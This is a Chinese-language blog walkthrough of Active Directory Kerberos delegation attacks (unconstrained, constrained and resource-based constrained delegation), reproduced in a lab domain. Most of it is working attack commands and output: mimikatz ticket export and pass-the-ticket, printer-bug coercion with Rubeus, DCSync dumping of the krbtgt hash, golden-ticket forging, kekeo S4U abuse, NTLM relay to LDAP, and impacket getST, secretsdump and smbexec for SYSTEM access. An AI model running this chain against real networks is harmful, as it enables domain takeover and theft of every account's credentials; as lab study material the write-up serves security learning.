委派攻击


域渗透

委派攻击

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。

简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

三种攻击手段:

  • 非约束委派
  • 约束委派
  • 资源委派

非约束委派攻击

**在域内只有主机账号和服务账号才有委派属性 **

主机账号:活动目录中的computers组内的计算机,也被称为机器账号。

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

流程

user访问serverA,向DC发起认证,DC会检查serverA机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA,这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。

如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

搭建复现

域控 ad1 备份 ad2

server1 server2是俩个域普通用户

在ad1中

新建用户

我们会发现它没有委派选项

image-20220323150537635

注册服务用户

注册服务账号后他会具有委派选项

setspn -A https/web web

image-20220323150729514

这条语句来删除服务

setspn -d https/web web

设置主机委派

image-20220323150834346

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

我们将俩台用户也设置为委派,重启

powerview查询非约束委派

在域用户中

powershell脚本,可利用此来查询非约束委派主机或服务用户

导入模块

Import-Module .\PowerView2.ps1

查询非约束主机

Get-NetComputer -Unconstrained -Domain redteam.club

image-20220323152046075

可看到之前配置的俩台域用户查询出来了

查询非约束用户

Get-NetUser -Unconstrained -Domain redteam.club | select name

adfind查询非约束委派

查询非约束委派的主机

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20220323153514742

非约束委派的用户:

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20220323153527476

mimikatz在域控访问域内主机时导出凭证

思路:在域控访问域内的非约束委派主机时,用mimikatz导出缓存的凭证并注入内存,即可拿到域控权限

域控使用winrm服务器远程连接域内主机

Enter-PSSession -ComputerName 12server2

image-20220323153933304

此时域控的凭证已经缓存到域内主机

在域内主机使用mimikatz保存凭证

使用域内主机的管理员账户

进入debug模式
privilege::debug 
导出凭证
sekurlsa::tickets /export

image-20220323154454951

image-20220323154650139

导出之后使用krbtgt的管理员凭证

将此凭证导入内存

kerberos::ptt 票据名

klist可查看是否导入

image-20220323154822851

拿到了域控权限

image-20220323154902995

将此凭证保存下来,拿到另一台域内主机下,他也可以有域控权限

spooler验证域控身份监听并制作黄金票据

思路:利用打印服务强制让域控向域内主机验证身份,此时我们在域内主机用rubeus监听TGS并截取域控TGT,注入后再制作黄金票据,即可拿到域控权限

登录域内主机的管理员账户

windows下默认spooler打印服务开启,并且此主机是非约束委派

image-20220323161530733

在管理员cmd下开启rubeus监听事件id4624

打开管理员的cmd

runas /profile /user:12server2\administrator cmd.exe
Rubeus.exe monitor /interval:1 /filteruser:ad1$ >c:\hash.txt

开启监听后可第一事件截取到TGT,监听域控的登录

利用打印服务,强制域控向本主机验证身份

SpoolSample.exe ad1 12server2

这样我们的rubeus就可以监听到TGS,拿到TGT

image-20220323170911339

使用powershell把它转换为正常的TGT

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的 base64"))

image-20220323171314744

使用mimikatz导入

kerberos::ptt 票据路径

导入之后我们访问域控,发现拒绝访问

image-20220323171548158

所以这里还没拿到域控权限

我们可以制作黄金票据以拿到域控权限

制作黄金票据

我们这里导入了域控的TGT,所以可查询到

拿域控的sid

whoami /all

image-20220323172033291

拿krbtgt的NTLM hash

使用mimikatz

mimikatz.exe "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt

image-20220323172129021

mimikatz制作

kerberos::golden /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator /ticket:ntlm.kirbi

image-20220323172528580

导入即可拿到域控权限

image-20220323172631337

约束委派攻击

多用于权限维持

背景

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy ),这两个扩展都允许服务代表用户从KDC请求票证。

S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) ;

S4U2proxy可以以用户的名义请求其它服务的ST2 ,约束委派就是限制了S4U2proxy扩展的范围。

S4U2Self (以用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求)。

通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是协议转换 。有时用户会通过其他协议(例如NTLM或基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS ,然后可以在调用S4U2Proxy时将其作为依据。

例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。

S4U2proxy (以用户的可转发的ST1请求用于访问服务器的ST2)

此拓展是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

流程

user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问。如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议,将用户发给自己的可转发的ST1票据以用户的身份发给DC。域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。

由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以 伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2 。

搭建复现

新建用户

添加spn标识

setspn -A cifs/12server2.redteam.club websec

image-20220323201123020

添加spn标识后就有了委派选项

设置约束委派

image-20220323201243045

查看-高级功能-属性编辑器查看

设置了约束委派后userAccount会存在TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 关键字

image-20220323201535291

adfind查询约束委派用户

登录域内用户

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto 

image-20220323203010661

kekeo攻击

流程:kekeo请求服务用户的TGT,利用TGT伪造S4U请求以administrator身份访问websec的ST

kekeo请求服务的TGT

tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi 

同理此处利用ntlm hash也是可以进行请求的

tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX

image-20220323203755970

利用此TGT票据伪造S4U请求以管理员身份访问websec的ST

tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@redteam.club /service:cifs/ad1.redteam.club

会生成administrator的ticket (用于访问websec的CIFS服务),导入这个tiket即可访问websec的cifs服务:

image-20220323210747014

image-20220323210942766

这里不能访问ad2

基于资源的约束委派

背景

server2012后引入了基于资源的约束委派,无需域管设置相关属性,请求ST的过程与约束委派类似,传统的约束委派S4U2Self返回的票据一定是可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转,S4U2Proxy也是可以成 功,并且S4U2Proxy返回的票据总是可转发

基于资源的约束委派把委派的权限赋予给机器自身,机器自己决定谁可以委派控制我,机器可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置基于资源的约束委派,这里关键在于谁可以修改此属性

S4U2Self返回的票据可不可以转发由TrustedToAuthenticationForDelegation决定

需要用户对主机的属性具备写权限

条件:

  • 一个机器账户
  • 一个有权修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的账户

域普通账号提权到域管理员

创建机器主机账号

在kali中,利用impack-master的脚本

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123"

加进去后域控上会有主机账号

image-20220324162839266

中继&委派

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议,进行监听

python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic -- delegate-access --escalate-user moonsec\$ -debug

其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

image-20220324163250621

域控有两台域控 10.10.10.142 主控;10.10.10.140是备份域控;10.10.10.139 是中继主机(kali)

设置委派

python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139

image-20220324163600900

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn cifs/ad2.redteam.club -impersonate administrator

image-20220324163737058

服务票据被保存下来了

修改变量值

export KRB5CCNAME=administrator.ccache

导出hash

导出域控hash
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator 
导出全部hash
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm

image-20220324164044172

这里拿到啦krbtgt的NTLM hash,我们可制作黄金票据来访问域控

使用smbexec无密码访问

python3 smbexec.py -no-pass -k ad2.redteam.club

访问到备份域控,权限是system

攻击其他域主机获取system权限

使用脚本查询域普通用户加入域的主机

using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
    class Program
    {
        static void Main(string[] args)
        {

            DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=club");
            DirectorySearcher search = new DirectorySearcher(ldap_conn);
            String query = "(&(objectClass=computer))";//查找计算机
            search.Filter = query;
            foreach (SearchResult r in search.FindAll())
            {
                String mS_DS_CreatorSID = "";
                String computername = "";
                try
                {
                    computername = r.Properties["dNSHostName"][0].ToString();
                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
                    //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
                }
                catch
                {
                    ;
                }
                //再通过sid找用户名
                String UserQuery = "(&(objectClass=user))";
                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
                search2.Filter = UserQuery;
                foreach (SearchResult u in search2.FindAll())
                {
                    String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
                    if (user_sid == mS_DS_CreatorSID)
                    {
                        //Console.WriteLine("debug");
                        String username = u.Properties["name"][0].ToString();
                        Console.WriteLine("[*] [{0}] -> creator  [{1}]", computername, username);
                    }
                }
            }
        }
    }
}

使用此命令将cs编译为exe

进入到此路径
cd /d C:\Windows\Microsoft.NET\Framework64\v2.0.50727
编译
csc /out:E:\ConsoleApp9.exe E:\ConsoleApp9.cs

在域内主机运行此脚本

image-20220324153442714

使用SharpAllowedToAct修改委派

https://github.com/HPVCA/SharpAllowedToAct

SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142 redteam.club

image-20220324153830435

设置成功后域控下会多了一个hack的主机账号

image-20220324160242853

使用脚本获取服务票据

kali下的impact-master脚本

python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator

会把得到的服务票据保存下来

image-20220324162409309

获取域管理员权限

先修改变量值,然后使用smbexec无密码登录

export KRB5CCNAME=administrator.ccache 
python3 smbexec.py -no-pass -k 12server2.redteam.club

ip是server2的ip,权限是管理员权限

image-20220324162622163


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录